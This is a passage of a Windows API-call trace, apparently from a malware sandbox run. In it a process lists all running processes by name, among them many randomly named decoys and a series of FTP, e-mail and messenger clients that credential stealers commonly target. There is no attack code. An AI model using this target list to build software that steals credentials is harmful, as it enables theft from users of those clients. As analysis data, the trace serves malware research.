lstrlenW (lpString="winlogon.exe") returned 12 [0079.953] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.953] lstrlenW (lpString="services.exe") returned 12 [0079.954] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.954] lstrlenW (lpString="lsass.exe") returned 9 [0079.954] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.955] lstrlenW (lpString="svchost.exe") returned 11 [0079.955] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.955] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0079.955] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.956] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0079.956] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.956] lstrlenW (lpString="svchost.exe") returned 11 [0079.956] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.957] lstrlenW (lpString="dwm.exe") returned 7 [0079.957] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.957] lstrlenW (lpString="svchost.exe") returned 11 [0079.957] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.958] lstrlenW (lpString="svchost.exe") returned 11 [0079.958] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.959] lstrlenW (lpString="svchost.exe") returned 11 [0079.959] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.959] lstrlenW (lpString="svchost.exe") returned 11 [0079.959] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.960] lstrlenW (lpString="svchost.exe") returned 11 [0079.960] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.960] lstrlenW (lpString="svchost.exe") returned 11 [0079.960] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.961] lstrlenW (lpString="svchost.exe") returned 11 [0079.961] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.961] lstrlenW (lpString="svchost.exe") returned 11 [0079.961] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.962] lstrlenW (lpString="svchost.exe") returned 11 [0079.962] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.962] lstrlenW (lpString="svchost.exe") returned 11 [0079.962] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.963] lstrlenW (lpString="spoolsv.exe") returned 11 [0079.963] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.963] lstrlenW (lpString="svchost.exe") returned 11 [0079.963] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.964] lstrlenW (lpString="audiodg.exe") returned 11 [0079.964] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0079.964] lstrlenW (lpString="sihost.exe") returned 10 [0079.964] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.965] lstrlenW (lpString="svchost.exe") returned 11 [0079.965] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0079.966] lstrlenW (lpString="taskhostw.exe") returned 13 [0079.966] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.966] lstrlenW (lpString="explorer.exe") returned 12 [0079.966] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0079.967] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0079.967] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0079.967] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0079.967] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0079.968] lstrlenW (lpString="Memory Compression") returned 18 [0079.968] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0079.968] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0079.968] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0079.969] lstrlenW (lpString="SearchUI.exe") returned 12 [0079.969] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0079.969] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0079.969] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0079.970] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0079.970] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0079.970] lstrlenW (lpString="furholdtopics.exe") returned 17 [0079.971] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0079.971] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0079.971] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0079.972] lstrlenW (lpString="until_commit.exe") returned 16 [0079.972] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0079.972] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0079.972] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0079.973] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0079.973] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0079.974] lstrlenW (lpString="lexmark.exe") returned 11 [0079.974] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0079.974] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0079.974] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0079.975] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0079.975] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0079.975] lstrlenW (lpString="delete disable changing.exe") returned 27 [0079.975] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0079.976] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0079.976] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0079.976] lstrlenW (lpString="underwear.exe") returned 13 [0079.976] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0079.977] lstrlenW (lpString="dear-hearings.exe") returned 17 [0079.977] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0079.977] lstrlenW (lpString="dllhost.exe") returned 11 [0079.977] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0079.978] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0079.978] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0079.978] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0079.979] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0079.979] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0079.979] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0079.980] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0079.980] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0079.980] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0079.980] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0079.981] lstrlenW (lpString="towers world.exe") returned 16 [0079.981] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0079.981] lstrlenW (lpString="coaching indian.exe") returned 19 [0079.981] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0079.982] lstrlenW (lpString="goal assumed.exe") returned 16 [0079.982] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0079.983] lstrlenW (lpString="3dftp.exe") returned 9 [0079.983] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0079.984] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0079.984] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0079.985] lstrlenW (lpString="alftp.exe") returned 9 [0079.985] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0079.986] lstrlenW (lpString="barca.exe") returned 9 [0079.986] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0079.987] lstrlenW (lpString="bitkinex.exe") returned 12 [0079.987] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0079.988] lstrlenW (lpString="coreftp.exe") returned 11 [0079.988] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.314] lstrlenW (lpString="far.exe") returned 7 [0080.314] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.315] lstrlenW (lpString="filezilla.exe") returned 13 [0080.315] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.316] lstrlenW (lpString="flashfxp.exe") returned 12 [0080.316] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.318] lstrlenW (lpString="fling.exe") returned 9 [0080.318] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.319] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0080.319] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.320] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0080.320] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.321] lstrlenW (lpString="icq.exe") returned 7 [0080.321] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.321] lstrlenW (lpString="leechftp.exe") returned 12 [0080.322] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.322] lstrlenW (lpString="ncftp.exe") returned 9 [0080.322] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.323] lstrlenW (lpString="notepad.exe") returned 11 [0080.323] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.324] lstrlenW (lpString="operamail.exe") returned 13 [0080.324] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.325] lstrlenW 